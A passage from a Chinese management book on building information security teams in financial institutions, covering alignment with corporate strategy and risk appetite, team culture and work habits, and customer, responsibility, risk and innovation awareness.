金融企业的使命是服务客户，服务经济。信息安全作为支撑性工作，是为金融企业的业务和管理目标保驾护航的，因此信息安全的使命、愿景和价值观，必须遵从整个金融企业的使命、愿景和价值观。


2.信息安全团队建设必须遵从金融企业战略需要


不管采用哪一种使命、愿景和价值观，信息安全必须服从金融企业战略管理需要，为了实现业务战略目标而存在，不能为了安全而安全。信息安全工作是一个循序渐进、螺旋上升的过程，信息科技风险无处不在，信息安全建设永无止境，不管是大型金融机构的年均投入几个亿，还是中小型金融机构的几十万到几百万，不管是大型金融机构信息安全团队的十几至几十人，还是中小型金融机构的几个至十几个人，都不能堵住所有的风险漏洞，无法保证绝对的安全。信息安全工作，永远都是在做效益和风险的平衡和博弈，只能用尽可能小的代价，做尽可能少的事情，来实现相对最大的安全防控效果。

信息安全团队建设，是信息安全战略的重要组成部分。信息安全战略需要遵从信息科技战略，而信息科技战略需要遵从企业战略。因此，需要首先从企业业务战略目标推导出对信息科技工作的要求，从而制定信息科技战略；然后从信息科技战略分解出信息安全战略目标，从信息安全战略目标再推导出信息安全团队建设目标。

根据金融企业的传统做法，通常会选择相对稳健的业务战略风格，对信息科技架构、信息安全战略的要求也会相对传统、稳健，信息安全团队以合规、风险控制为目标，先期会将重点放在满足监管要求、部署传统安全工具、防御外部攻击等工作上。

而现在传统金融企业纷纷进入转型期，积极拥抱互联网特别是移动互联网，通常会特别重视互联网金融建设，相应的科技战略、科技组织架构会有很多适应互联网金融时代灵活、多变、可扩展性强的特征，对信息安全工作也就有着与此相适应的要求。信息安全团队的工作更侧重于云安全、大数据安全、物联网安全、人工智能安全等方面。


3.信息安全团队建设必须与企业风险偏好相适应


（1）企业风险偏好与企业发展周期息息相关

根据企业生命周期理论，企业的发展与成长的动态轨迹包括发展、成长、成熟、衰退几个阶段，处于不同生命周期阶段的企业将会建立与其特点相适应、并能不断促其发展延续的特定组织结构形式，使得企业可以从内部管理方面找到一个相对较优的模式来保持企业的发展能力，在每个生命周期阶段内充分发挥特色优势，进而延长企业的生命周期，帮助企业实现自身的可持续发展。在不同阶段的企业会有不同的风险偏好，也就意味着需要不同的信息安全建设目标和管控水平。信息安全建设，需要与企业不同生命周期的风险偏好相适应，才能更好地起到保驾护航的作用。

在金融企业建设初期，面临严重的业绩压力，发展是第一要务，通常会采用“进攻型”的战略，对于风险的接受程度相对较高，信息安全建设往往被放到不那么重要的位置，此时信息安全团队的数量和质量均会偏弱，甚至是由一个人兼职完成，相应的信息安全建设将主要以“合规”为第一目标，立足于达到监管要求这一最底线要求。

随着金融企业建设的成长，通常由“进攻型”向“防御型”战略转变，以使企业在战略期内所期望达到的经营状况基本保持在战略起点的范围和水平。相对应的，此时风险偏好会偏向于“平衡”，信息安全队伍逐步壮大，往往能建立起一支由几个人组成的信息安全团队。而且由于此时企业知名度日渐上升，受到的外部攻击威胁与日俱增（例如，仿冒的钓鱼网站多了起来，外部监测网站披露的漏洞也多了起来），此时的安全团队除了满足监管要求外，需要建立起一定的安全攻防能力，安全团队中将分出1~2人来专职负责安全技术防控工作。

企业建设的成熟阶段，通常采用更为稳健的策略，对风险的接受程度更低，对安全合规和风险控制的要求更高，面临的攻击风险和声誉风险更大。此时的安全团队需要更加壮大，安全管理和安全技术并重，“两手抓、两手都要硬”。

企业建设的衰退阶段，可能会采用“紧缩型”战略，此时的安全重点是“不出事”，由于投入的减少，安全团队建设逐步开始萎缩，又回到“满足监管要求”的原始阶段。

（2）企业风险偏好，与企业的性质和管理风格相关

金融企业是经营风险的企业，同时也是风险集中的企业，更是将风险防范作为头等大事的企业，在风险防控方面有着特殊的需求。但不同性质和管理风格的金融机构，其风险偏好也会大不一样。

对于风险规避型的金融机构，当预期收益率相同时，偏好那些具有低风险的解决方案，对于风险控制与合规性的要求更高，因此对于信息安全工作的重视程度和落地要求就相对高一些，安全团队建设也会处于扩张的状态。

对于风险追求型的金融机构，当预期收益相同时，会选择风险较大的方案，因为“高风险高收益”，能给他们带来更大的效用。这一类金融机构对于合规建设的重视程度相对偏弱，信息安全工作目标通常仅仅定为“不出事”，基本满足监管要求即可，安全团队建设会受到限制。


4.信息安全团队建设必须着眼未来，立足长远


近年来，随着移动互联网、物联网、云计算、大数据、区块链、人工智能等金融科技新技术的广泛应用，传统金融机构在各个层面的运行模式被相继改变：移动互联网的快速普及大幅改变了用户的行为习惯，云计算和物联网改变了业务处理和基础设施部署的方式，大数据技术改变了营销模式、风控模式和决策模式，人工智能等技术改变了客户服务和运营模式，区块链重塑了交易流程和信任模式。精准识别用户需求，提供极致用户体验，成为金融科技时代业务发展的首要驱动因素。

随着新技术的发展和新业务、新产品的涌现，信息科技的治理架构、技术架构和运维模式不断演化，以适应激烈的市场竞争需要。伴生于信息科技建设的信息科技风险管理工作也面临着新形势下的新问题，现有的信息安全防控体系面临防范不足、失当甚至失效的风险。而且，信息安全防御手段的发展往往滞后于信息科技的发展。在新的科技创新形势和新技术层出不穷的环境下，新技术风险的暴露以及随之而来的攻击手段创新，给信息安全风险防范带来了前所未有的压力和挑战。

因此，信息安全团队建设，必须着眼未来、立足长远，必须打造学习型组织，提高员工学习意愿，激发学习潜力，才能与时俱进地学习新知识和新技术，才能更准确、更有效地识别新形势下的新风险，才能更精准地应对风险，从而适应不断变化的内外部环境，实现更有效的风险防范。




5.3　安全团队文化建设



“企业文化就是企业发展的DNA”，信息安全团队文化建设就是信息安全团队建设的DNA。文化建设就像一根纽带，把团队每一名成员的个人价值观和奋斗目标，与团队的价值观和整体目标紧密联系在一起，促使每个成员产生强烈的归属感和荣誉感，最大程度地激发每个成员的积极性和创造性，从而使他们能发挥最大的主观能动性，创造出最大的价值，实现团队整体合力最大化。

金融企业信息安全团队的文化，必须针对金融企业信息安全工作普遍面临的问题点和“痛点”，结合宏观环境而制定，必须取得团队的认同感，对团队成员有实实在在的凝聚和激励作用。信息安全团队文化，需要遵循“仰望星空，脚踏实地”的原则，既要有相对宏伟、虚化的愿景性文化，也需要有相对微观、接地气的写实性文化。虽然不同的信息安全团队会基于各自的特点来开展文化建设，但以下几点“普适性”的文化，可供信息安全文化建设时参考。


1.格局为先


在西方，这样一个故事广为流传：三个泥水匠同时盖一座教堂。有人问了这三个人同样的两个问题：

·为什么干这个工作？

·你干的是什么样的工作？

第一个人愁眉苦脸地回答说：“还能为什么？不干活就没有面包吃！不就是把这堵墙砌好吗？还能是什么工作？”

第二个人面无表情地说：“我是干泥水匠的，这是我的职业，我已经干20年了，这个城市几乎每间房子我都知道是怎么盖起来的。”

第三位泥水匠面带微笑地回答：“我当然知道为什么干这工作，我正在盖这个城里最大的一座教堂，而且我是在盖教堂的正门部分，这是多么重要，以后每个来做礼拜的人都会看到我做的工作。”

相信很多人都听说过这个故事，也都知道这个故事其实到这里并没有讲完。很多讲故事的人会接着讲这三个人后来的人生成就相差之大：十年之后，第一个泥水匠手艺毫无长进，被老板炒了鱿鱼；第二个泥水匠勉强保住了自己的饭碗，但只是普普通通的泥水匠；第三个泥水匠却成了著名的建筑师。

这三个泥水匠的根本差别在哪里？大家都知道，最主要的差别绝对不是做泥水匠的经验或者技能，而是在于格局。第三个泥水匠的格局显然比前面两个泥水匠要大很多，所以他看到的不是眼前的一砖一瓦，而是未来大教堂的宏伟蓝图。由于格局不一样，对目标的理解不一样，导致工作的出发点不一样，自身能发挥出的潜力不一样，最后每个人的结局自然也不一样。

作为信息安全从业人员，也同样需要提升自己的格局，方可成就一番事业。对于每天从事的工作，我们也有三种选择：一是把它看作养家糊口、不得已而为之的生计，“做一天和尚撞一天钟”；二是把它看作一项赖以生存的职业，只顾做好眼前的具体工作，“不求有功、但求无过”；三是看到它对企业战略落地、业务发展、科技工作、内外部客户保驾护航的重要价值，发自内心地热爱，充满激情地努力，“呕心沥血，孜孜以求”，最终推动价值的落地实现。显然，我们必须选择第三种。因为格局不一样，所以思考目标的时候，会把个人工作和企业目标关联起来，从企业价值的角度看待自己的发展。

格局不同，境界不同，达到的效果自然大相径庭。上述第三种格局，能让我们实现以下的效果：

·指导团队在制订目标时，更具有大局观，脱离自己的“框框”，打破自己的边界，看得更高、更远、更深。

·指导团队在完成具体任务时，习惯性地“以终为始”，凡事以目标为导向，在不能实现目标的时候及时调整方法，而非机械地执行规定动作，最终导致目标“谬以千里”。

·在团队遇到困难的时候，仍然保持坚忍不拔，在遭受非难的时候，仍然坚持砥砺前行，不因环境不利而消极抱怨，不因能力不足而妄自菲薄。

·在与其他团队协作的时候，以大集体、大团队的目标为先，突破小团队的局限，从而更好地互惠合作，实现企业的整体目标。

·带动团队开阔眼界，放开胸怀，多经历、多吸收、多学习，想办法多走出去，与同业、对手、合作伙伴更多地交流，吐故纳新，扬长避短，从而推动格局和视野的螺旋上升，形成良性循环。


2.认同价值


信息安全团队通常都自嘲为“背锅侠”，功劳没有，苦劳一堆，没事的时候默默无闻，出事的时候首当其冲。当然，这是信息安全工作的“宿命”，作为信息安全团队的一员，必须首先从心底接受这一点，必须“认命”，因为信息安全的使命，本身就不是直接创造价值的。

因此，信息安全团队必须要树立良好的心态，从心底认同自己在金融企业中的价值，并且为了实现自己的价值而孜孜不倦。这样就不会完全被外界的评价而左右，才能尊重自己内心的呼唤，踏踏实实地做好基础性的工作，不好高骛远，不贪多求快。

大家都要认识到，信息安全团队的价值可以体现在很多个层面：

一是从国家、社会的宏观层面来讲，成立了网络安全和信息化领导小组，发布了《网络安全法》，说明在国家层面对于网络安全和信息安全的高度重视和极大关注，网络安全已经成为关系到国计民生的大事。网络技术除了给人们的生活带来种种方便外，同时也为网络上的攻击、诈骗、侵权、窃密等事件，以及网络上的造谣传谣、涉黄赌毒乃至利用网络传播暴力恐怖有害信息等等提供了便利条件。网络攻击和网络窃密事件层出不穷，匿名者（Anonymous）、蜥蜴小组（LIZARD SQUAD）等黑客组织对商业机构的攻击时有发生，社会上的黑产黑客时刻虎视眈眈，都给国家和社会造成了很大的威胁。

一方面，金融是现代经济的核心，中国作为世界第二大经济体和重要的金融大国，金融安全是国家安全的重要组成部分。另一方面，金融与社会上的每个人息息相关，金融安全事关每个人“钱袋子”的安全，是社会稳定的重要保障。因此，金融企业的信息安全团队背负着极其重要的使命，必须时刻警惕、厉兵秣马、未雨绸缪，坚守岗位，为国家和社会的稳定贡献自己的力量。

二是从行业、企业的微观层面来讲，信息系统运行的稳定性直接关系到企业金融服务的稳定性，客户信息泄漏及其引发的网络诈骗事件可能造成资金的直接损失，如果出现网络攻击事件，可能引发客户的恐慌，导致舆情的风险，危害是极其严重的。

信息安全团队通过自己的努力，保障信息科技工作的合法合规，保障信息系统的稳定运行，保障业务服务的连续和安全，保障客户的信息不被泄露，保护客户资金不遭受损失，维护金融企业的声誉。以上这些虽然不直接创造利润，但通过“合规创造价值”“安全保障创新”等保驾护航的手段，信息安全团队同样可以取得骄人的成绩，可以获得内外部客户的认可。作为信息安全团队的一员，既可以有很多的“小确幸”，也可以实现“大成就”。


3.专业自信


金融企业的信息安全是一项涉及面很广但同时专业性很强的工作，保持专业水准，是信息安全团队自信的来源，是团队核心竞争力不可替代性的体现。因此，信息安全团队应该时刻思考，如何提升自己的专业能力，如何建立对工作、对自己的信心，满怀激情地将工作做到极致，才能使团队的价值最大化。

信息安全专业自信，不是盲目自大，首先必须要有真材实料，应该对整个安全形势有自己的判断，其次对信息安全行业和市场要有足够的了解。应该建立自己的知识结构：

·要有规划意识，构建信息安全的整体逻辑架构。信息安全涉及范围非常广泛，有宏观也有微观，有横向也有纵向，有管理也有技术，信息安全团队要明确自己的规划边界，思考如何建立一个合理的安全架构。

·要了解安全形势。从国际安全形势、国家安全政策、国内安全动态、安全监管方向、金融安全态势等角度出发，了解最新的安全趋势，方可及时调整自己的工作重点和风险防范重点。时刻把自己的工作代入到宏观大环境中思考，就可以跳出局限性的思维框架，更好地把握和防控关键风险。

·要了解整个金融行业和信息安全产业。一方面，要了解金融行业的监管政策、业务趋势、业务风险，思考信息安全工作如何围绕行业要求开展；另一方面，要了解信息安全垂直行业，对于行业的发展趋势、前沿技术要持续学习，才能为我所用。此外，还需要知道金融同业的安全防控情况，客户最关心的风险等，确保工作有的放矢。

·要深入学习掌握专业知识。攻击手段的不断进化推动了防御手段的持续调整，导致信息安全技术演进和发展很快，信息安全团队需要不断地吸收专业知识，时刻保持自己对最新的政策文件、攻防技术都心中有数。

·要多思考、多总结、多分析，形成逻辑框架和专业经验。需要摒弃被动的吸收，多一些主动的思考和沉淀，形成自己的专业逻辑框架，在框架内发现自己的短板，有针对性地补充新的知识，才能在专业的深度和广度上走得更远。

·要分清主次，抓住重点。金融企业信息安全面临的风险是非常多的，要力图解决每一个问题是不现实的，资源也不可能无限制投入。因此，要提高对关键风险、重要问题的判断能力，针对关键风险和重要问题要深入理解，多想多问为什么，思考每个问题背后的意义，深究每个风险背后的原因，各个击破，力求化解，切忌不求甚解、囫囵吞枣。如此以点带面，才能逐步提高整体专业水平。

综上所述，信息安全团队必须打造专业自信的文化，不给自己设框设限，要逃离自己的舒适区，开创更为广阔的天地。要对自己有严格的要求，实现两个“高于”的目标：高于领导的期望，高于领导的专业水平。


4.处处用心


稻盛和夫在《活法》一书中，提到过这样一个故事：

他年轻的时候听过松下幸之助的一个演讲，松下幸之助演讲的内容是经营企业应该像水库蓄水一样，景气时要为不景气时做好准备，一定要保留一个后备力量。

那时松下幸之助的事业也刚刚起步，远没有后来的声望，很多人听了演讲之后，都不怎么满意。因为他们希望听到的是怎么让企业成功的经验，而不是企业如何在取得一定成功后做什么准备的话。因此，有人说：“说些什么呢？不正因为没有储备，大家才每天挥汗如雨，恶战苦斗的吗……我们想听的是如何去建造这个水库，而你再三强调水库的重要性，这有什么用呢？”有一个男士站起来质问：“如果能进行水库式管理当然好，但是，现实上不能。若不能告诉我们如何才可以进行水库式的经营，那不是白说吗？”

松下幸之助这时有些无奈，他停了一下说：“那种办法我也不知道，但我们必须要有不建水库就誓不罢休的决心。”

许多人哄堂大笑，但稻盛和夫却很有收获，并把这种不建水库就誓不罢休的决心应用到创业中，也许正是这种誓不罢休的精神，才有了他的成功。

从这个故事中，我们可以看到，一个“用心”的文化多么重要。只有先有“心”，才能把一切事情做好；只要有了“心”，就可以把一切事情做好。

对于信息安全团队来说，也必须先“用心”。“用心”的文化体现在很多方面：

·每个团队成员，都要把团队的目标作为自己的目标，凡事从目标出发，不停地思考实现目标的方法，寻找各种对策来实现目标。例如，信息安全团队的目标是发现并化解信息科技风险，一旦树立了这个目标，就会通过各种检查、整改等管理手段，以及各种各样的安全技术防控手段来提前发现风险，并采取各种降低、规避、转移的方式来化解风险。

·每个团队成员，都会自发地工作，主动把事情“做好”而非仅仅“做完”。团队领导考虑问题不一定非常全面，交代任务时也不一定能事无巨细地讲透每一个细节，这时就需要每个团队成员主动思考、互相补位，才可以形成强大的合力，推动目标更好地达成。

·每个团员成员，碰到困难时会迎难而上，出现问题时则会共同担当。由于大家都是非常用心地工作，在出现困难时，大家会一起想办法克服，用各种各样的手段去化解困难。

如稻盛和夫先生所说，“人哪里需要远离凡尘？工作场就是修炼精神的最佳场所，工作本身就是一种修行。只要每天努力工作，培养崇高的人格，美好人生也将唾手可得”。如果信息安全团队的每一个成员，都把工作当作一种修行，认真对待工作，就可以把事情做到完美，让别人放心，这是一个很可贵的品质。对于团队来说，如果每个人都非常“用心”地工作，那将是团队的一笔宝贵财富。


5.养成习惯


在《习惯：习惯的力量》一书中提到，“没有什么比习惯的力量更强大”。习惯让我们“下意识”地行动，不用刻意思考即可遵循规范行事；让我们减少了考虑时间，简化了行动步骤，从而更有效率。

养成好的习惯远比具体完成任何一项工作都要重要。对于信息安全团队来说，需要养成以下几个好习惯：

一是计划的习惯。在工作中经常会碰到这样的情况，有些同事任务没有完成，当问及原因时，往往是“忘记了”或者“太忙了”。但怎样做到不忘记？最好的方法就是制订计划。每个人接到每项任务后的第一件事情就是制订计划，凡事必有计划，区别只是在于计划时间点的数量和时间的长短。“好记性不如烂笔头”，对每件事情都定下自己的下一个目标时间点，并把它记在本人的工作计划表或项目管理工具中，再每天/每周回顾计划表执行进展，就会不断提醒自己和别人，从而有条不紊、不遗漏地完成工作任务。

对于信息安全团队来说，计划主要分成四大类：

·例行性工作计划，例如，监管要求、制度要求中规定每天/每周/每月/每季/每年必须完成的工作任务。对于这类任务，需要在接收到监管要求后或者制度制定后就马上列入计划表，每年初回顾一下，是否需要根据监管要求或者制度规定对例行任务进行相应调整。

·专项工作计划，例如，某个信息安全技术实施项目（部署WAF、安全大数据分析项目等），或者某项安全管理类工作（通过ISO27001认证、制定××制度等），这些工作需要在每年初就确定工作目标，安排相应的预算和人力资源，并列入部门整体工作计划中。

·安全整改类工作计划，是针对在日常监管检查、审计或合规检查、风险评估、安全检查等工作中发现的风险的处置工作计划，这些计划需要在检查结果确认后马上制订对应的整改方案和完成时间表。

·突发性工作计划，例如，新颁发的监管要求需立即组织对照排查并提交报告；外部新披露的风险漏洞需对照检查和整改等，这些往往属于“重要而且紧急”的工作任务，在收到后需要第一时间明确完成的目标要求、需要调动的各方资源等，并立即推进完成。

无论是哪类计划，都需要明确完成时间、责任人、资源需求、配合工作方、工作提交件和完成标志等，然后纳入计划表中统一跟进直至最终“画上句号”。

二是敢于承诺和遵守承诺的习惯。金融企业信息安全团队的目标是防范和化解风险，为金融企业提供安全服务。信息安全团队必须敢于做出承诺，并想尽办法严格遵守承诺，树立“使命必达”的信念，才能博得领导或者其他团队的信任，有利于工作的开展。

·面对监管机构或者审计、风险、合规等部门发现的问题，信息安全团队要敢于代表信息科技部门给出限时整改的承诺。

·面对领导或其他团队给出的工作要求，要敢于承诺完成时间和目标，并不折不扣地达成目标。

·对于信息安全团队检查发现的问题，要敢于督促其他团队制订整改计划并给出完成计划的承诺，监督承诺的执行。

三是高效处理邮件的习惯。信息安全工作与很多工作都有关联，每个人每天都会收到大量的邮件，其中有些是阅知即可的，有些是要重点看并执行的，有些是收到后立即要处理的，有些是要花些时间才能完成处理的。人们每天都要花很多的时间来处理邮件，既导致时间碎片化而降低效率，又可能出现因邮件太多而使重要邮件没有及时处理。怎样才能高效地处理邮件，确保不遗漏待办事项，有几个小技巧可以参考：

·关闭邮件的“即时提醒”功能，每天安排固定的时间处理邮件（例如，每个上午的固定时间，下班前的半小时等），其他大片的时间专注于处理其他的专项工作。这样可以避免自己的工作思路总是被突如其来的邮件打断，保持专注力，从而提高工作效率。不用担心错过“特急”的工作任务，因为对于特急的事项都会通过电话提醒，这是一个大多数人都会遵守的职场习惯。

·对邮件要分类建立文件夹，例如，“已处理”文件夹，放置已经看过或已经处理完且以后不需要再看的邮件；“待参阅”文件夹，放置将来随时要执行的制度流程要求或者某些知识性的邮件，并将邮件标题修改为关键字的索引，方便今后查找和翻阅；“待处理”文件夹，放置自己要做且不能马上处理完、要制订后续计划的邮件，同时立即设置一条工作日历，提醒自己完成时间，并且在计划管理工具上立即建立一条对应任务，制订计划；“委办”文件夹，放置已经通知别人准备、自己到时候看结果的邮件，同时立即设置一条工作日历，提醒别人应该回复的时间，如果没有按时收到回复则立即督办。按照上述分类邮件后，收件箱中的内容就会变得很少，待办事项如果没处理完就会一直放着，每天下班前检索一次，不易遗漏。

·每封邮件只看一次，且当日事当日毕。很多人邮箱里积累着成百上千封的未读邮件，“冰冻三尺，非一日之寒”，这些绝对不是一夜之间堆积起来的，而是对待邮件“拖延症”的后果。如果总是想着“有时间再来处理”，那些没有读过的邮件就会永远在邮箱中保留下来。因此，每封邮件打开后都要马上处理，做出立即行动、转发他人完成、转成工作计划、阅知即可等判断，并且尽力在结束一天工作的时候，实现收件箱里空空如也的目标，确保当天的所有邮件都被妥当处理。这不是一个容易养成的习惯，但是却会带来极高的工作效率，以及每天下班后的踏实感。

·总结和创建邮件模板。根据信息安全工作性质，总结出若干个常用邮件模板，可以提高效率，避免重复劳动。例如，安全检查结果通报、安全整改工作督办、发现漏洞情况通报等，都可以积累形成模板。建立好模板库后，今后类似工作都可以从中搜索出结构相近、可重复利用的内容，大大缩短邮件创建的时间。

四是认真完成文档撰写的习惯。信息安全团队工作任务中很大一部分是“写报告”，如提交给监管机构的安全自查报告、提交给管理层的风险排查报告、提交给审计或合规部门的整改工作报告等，所以文档撰写能力非常重要。文档撰写要注意以下几点：

·力求逻辑严密。文字功底不是一朝一夕可以练就，但工作文档的逻辑却是有章可循的，可以通过技巧来实现“速成”。在文档撰写前必须先思考，用什么样的逻辑才能够清楚表达自己的思想，展现自己的工作成果；逻辑清晰后，先列出工作提纲，再补充“血肉”。麦肯锡国际管理咨询公司的咨询顾问巴巴拉·明托（Barbara Minto）编著的《金字塔原理》一书，对于文档的逻辑给出了非常好的定义和方法论的指导，其中特别提出MECE（Mutually Exclusive Collectively Exhaustive）的原则，中文意思是“相互独立，完全穷尽”，也就是对于一个重大的议题，要做到不重叠、不遗漏的分类，而且能够把握住问题的核心和关键点，非常值得在工作中参考借鉴。

·注意阅读对象。每一份文档、报告在构思和落笔前，先要问自己几个问题—文档的阅读对象是谁？需要让他/她关注或记住的几个要点是什么？需要他/她解决的问题是什么？信息安全团队报告的对象包括监管机构、行内董事会或高管层、审计或合规部门、部门领导、其他兄弟团队等，对于不同的阅读对象，信息披露的范围、风险描述的程度和方式都不一样，是“报告”还是“请示”，是“报喜”还是“报忧”，是要让对方对风险状况“放心”还是对风险严重程度引起“重视”，是要单刀直入讲问题还是先铺垫背景等，这些决定了行文的口气、内容选择、文档结构组织方式等关键要素，需要针对阅读对象以及想要解决的问题来组织逻辑和语言。

·避免低级错误。这是最容易犯的毛病，在日常工作中，大家总是会出现标点符号错误、错别字、语句不通顺、附件版本错等看似“低级”的错误，很多人都不重视，认为就是粗心而已，不影响大局。其实不然。所谓“见微知著”，细节做不好，反映的是态度有问题。试想，如果信息安全团队交出来的安全检查报告错字连篇，那安全检查本身，能让人相信是踏踏实实认认真真做的吗，质量和效果能得到保证吗？因此，需要养成习惯，每次邮件发出前或者提交文档前，自己从头到尾通读一遍，看看有没有错别字或用错的标点符号，语句是否通顺，邮件标题是否符合标准，附件是否是修改后的最终版本等。

综上，只要养成良好的工作习惯，脚踏实地、求真务实地做好当下的每一件事情，戒骄戒躁，把每一步的基础都夯实了，结果自然会水到渠成。


6.培养洁癖


长期从事信息安全工作的人，由于与病毒、木马、漏洞、风险等经常打交道，会存在“职业病”，看到某些不合规、有风险的地方就会极其敏感、周身不自在。

例如，在工作中经常存在以下合规方面的错误意识：

·只要主观意愿和出发点是好的，违规一两次也情有可原。

·心存侥幸，不严格按照制度和操作规程一步步操作，而是认为只要没有被发现就算过关。

·以前都是这样做的，照做就是了，不用管合规不合规。

·效率至上，片面追求“快”，把事情做完就好，不合规也没关系。

·人情代替制度，领导要求的、其他兄弟团队想知道的、其他部门想知道的，即使制度不允许，告诉他们也没有关系。

·只要不违反大的制度流程就行了，个别的小细节没做到位也不算违规。

·个别流程找不到书面流程作为依据，那自己想怎么做就怎么做。

·虽然违反了制度流程要求，但是没有给企业造成损失，或者反而还帮企业节省了成本或费用，这种做法不违规。

上述现象，对于很多金融企业都是常见情况，对于很多人来说都习以为常，但对于“有洁癖”的安全团队来说，是不可容忍的，他们对上述情况会有很强的风险敏感性，会习惯性地对这些不合规的现象刨根究底、决不轻易放过。正是这种对每一个环节每一个细节都要求出色、完美，不忽视任何一个违规细节的习惯，才是信息安全团队的专业素养之一，才让信息安全团队与众不同，才让信息安全团队履行自己的使命和职责，尽全力去维护一个合规、干净的企业安全环境。




5.4　安全团队意识建设



《易经·系辞》中有句话“形而上者谓之道，形而下者谓之器”，这是中国古代哲学的重要范畴，儒家哲学中无形的或未成形体的东西，与表示有形的或已成形的东西的对称。映射到信息安全领域，“道”与“器”，可以理解为精神和意识层面未成形的“道”，和技能、工具层面的“器”之间的相互呼应和对称。

对于信息安全团队来说，团队文化可以说是在整体层面的“道”，而团队的意识则是一种更具体化的“道”。以下几种意识，是信息安全团队需要特别注重培养的意识。


1.客户意识


对于任何一个组织来说，满足客户需求都是首要和核心的任务。信息安全团队作为一个行使独立功能的“组织”，也同样需要满足客户的需求。参考管理大师彼得·德鲁克（Peter F.Drucker）的“经典五问”，信息安全团队需要反复地问自己这样几个问题：我们的使命是什么？我们的客户是谁？我们的客户重视什么？我们的成果是什么？我们的计划是什么？

这些问题的答案，必须围绕一个核心来找寻，即“客户”。只有先识别客户，然后分析客户的需求，才能确定团队的使命、工作目标和工作成果，进而才能有工作计划。

信息安全团队的客户，分为以下两大类：

一是行外客户。金融企业服务的所有客户，包括资产端、资金端、中间业务等业务的客户，都是信息安全团队需要服务的对象。信息安全工作，需要围绕如何保障客户资金安全、客户信息安全、客户服务能够正常提供等内容开展。通过设计合理的业务逻辑、采取严密的身份验证措施和交易验证措施、建立风险监测模型、部署安全防控工具、加强运维保障等手段，在尽量简化客户操作、优化客户体验的同时，向客户提供安全稳定的服务。

二是行内客户。从广义上看，行内的董事会和高管层，信息科技风险防范的第二第三道防线（合规、风险、审计等部门）、各管理部门和业务部门，信息科技部门的其他团队，都是信息安全团队的服务对象。信息安全工作，需要围绕合法合规、识别并化解风险等方面开展，通过监管要求对照达成、规章制度建设、信息安全管理体系建设、安全意识宣贯和培训等方式，主动地向行内客户披露风险，采取措施规避或降低风险，督促安全整改任务的完成，确保信息科技工作的安全合规。

不管是行内还是行外的客户，信息安全团队都需要在完成工作任务的时候心中时刻考虑这些客户的核心诉求，考虑如何做才能让客户满意度提升，如何主动开展工作才能帮助客户规避风险，如此方能有的放矢，措施行之有效。


2.责任意识


正如俗语所说，“安全责任重于泰山”，金融企业的信息安全团队时刻与风险打交道，一个疏忽就可能导致风险无法被及时发现，一个放纵就可能导致风险无法得到及时的处置，而一个风险就可能导致客户重大的损失。在此环境下，信息安全团队每个成员的责任心就显得异常重要。

不管信息安全团队的成员负责的是整个安全规划的设计，还是某个安全制度的修订、安全技术策略的调整，都必须把责任意识放在极高的位置，把自己看成整个企业安全防控的责任人，对安全防控的整体结果负责，绝对不能“千里之堤，溃于蚁穴”。

有了责任意识，就会认真细致地制订方案计划，就会不放过任何一个风险隐患的蛛丝马迹，就会发现风险后立即承担责任并确保整改到位，就会遇到问题绝不退缩而是积极寻求解决方案，就会坚持学习了解新的安全动向并查漏补缺，就会努力调动一切资源来达成安全防控的目标。


3.风险意识


信息安全团队是为金融企业客户安全保驾护航的“风险清道夫”，对于风险必须有最强的敏感性和最小的容忍度。“看不见的风险是最大的风险”，信息安全团队必须练就“火眼金睛”，先要识别风险，继而尽最大的努力化解风险。

关于信息安全事故、风险、隐患的存在与发展，有几个重要的理论和法则：

·“冰山理论”，冰山浮出水面的部分仅占总体积的十分之一左右，其余大部分深藏于水下。

·“海恩法则”，每一起严重的航空事故背后，必然有近29起轻微事故和300多起未遂事故先兆，以及1000起事故隐患。

·“墨菲定律”，如果坏事有可能发生，不管这种可能性多么小，它总会发生，并引起最大可能的损失。

从上述三条安全界的著名定律可以推导得出，真正令人害怕的，并不是已经发生的、可见的事故，而是更多潜藏的未知隐患和威胁。要避免发生严重的事故，就必须像轮船发现水面以下的冰山那样，提前发现事故隐患，并将其扼杀在萌芽状态。

因此，信息安全团队必须建立对风险的“敬畏之心”，不能把安全防控重点放在风险事件发生之后疲于奔命的应急处置，不应该总是担任“救火队员”，而应该将风险前移，将工作重心放在事前预防、事中控制，重点放在对尚未暴露的风险隐患的排查、发现和及时化解，做到未雨绸缪，心中有数，防患于未然。当然，如果风险事件万一真正发生了，也不要逃避，而是应该深入总结分析，查明根本原因，举一反三，落实整改措施，直至彻底解决。


4.创新意识


随着新技术的发展和新业务、新产品的涌现，信息科技的治理架构、技术架构和运维模式不断演化，以适应激烈的市场竞争。伴生于信息科技建设的信息安全工作也在新形势下面临着新问题，现有的信息安全防控体系存在着防范不足、失当甚至失效的风险，传统的安全基础架构和安全技术工具在新形势下显得捉襟见肘，逐渐力不从心。

按照传统的安全思维和信息安全工作定位，信息安全的发展往往相对滞后于业务的快速创新和技术的高速发展。然而，在新的形势下，信息安全工作也必须与时俱进，信息安全团队必须树立创新意识，从创新中寻求突破和发展。

第一是理念的创新。在新的科技创新形势和新技术层出不穷的环境下，新技术风险的暴露以及随之而来的攻击手段创新，给信息安全风险防范带来了前所未有的压力和挑战。例如，云计算发展使金融企业的网络边界被打破，移动应用让终端安全管理成为挑战，大数据使信息保护的难度被放大。信息安全团队从理念上认识到创新的重要性，时刻更新自己的理念，深入分析新技术、新形势下存在的新风险，掌握业务和技术发展趋势，加快新技术的学习，抓住新技术中的关键风险点，针对性地建立防控措施。

第二是制度的创新。制度创新包括组织架构的创新、管理体系的创新、工作流程的创新和管理制度的创新等。为了更好地发挥信息安全工作对业务和其他科技工作的支撑作用，信息安全团队必须建立一套能快速响应互联网和金融科技创新形势的信息安全管理组织、机制、流程和制度体系，根据最新的监管要求、国际国内安全管理体系标准和技术规范，持续不断地更新迭代，既防控住关键风险，又不显著影响工作效率。

第三是技术的创新。金融企业普遍部署了防病毒软件、防火墙、IPS/IDS、WAF等安全相关的工具软件，以防范外部的攻击入侵。这些常见的传统安全防御手段主要针对传统业务和技术架构进行设计和部署。但是，随着技术不断进步，新技术往往引入新的架构和新的业务模式，一方面，存在新技术引入的新风险，大量的新漏洞呈现集中爆发趋势，系统安全受到威胁，传统的风险管控手段滞后，无法满足新风险的防范要求；另一方面，金融企业引发的关注度增加，获利性吸引力增强，导致面临的攻击加大，而攻击方法和工具的进化速度总是领先于防控平台，传统的安全防范技术已经无法完全满足新形势下的安全保障要求。因此必须大幅加强安全技术的创新应用，如威胁情报分析、安全态势感知与安全大数据分析、人工智能等，才能应对千变万化的安全威胁。

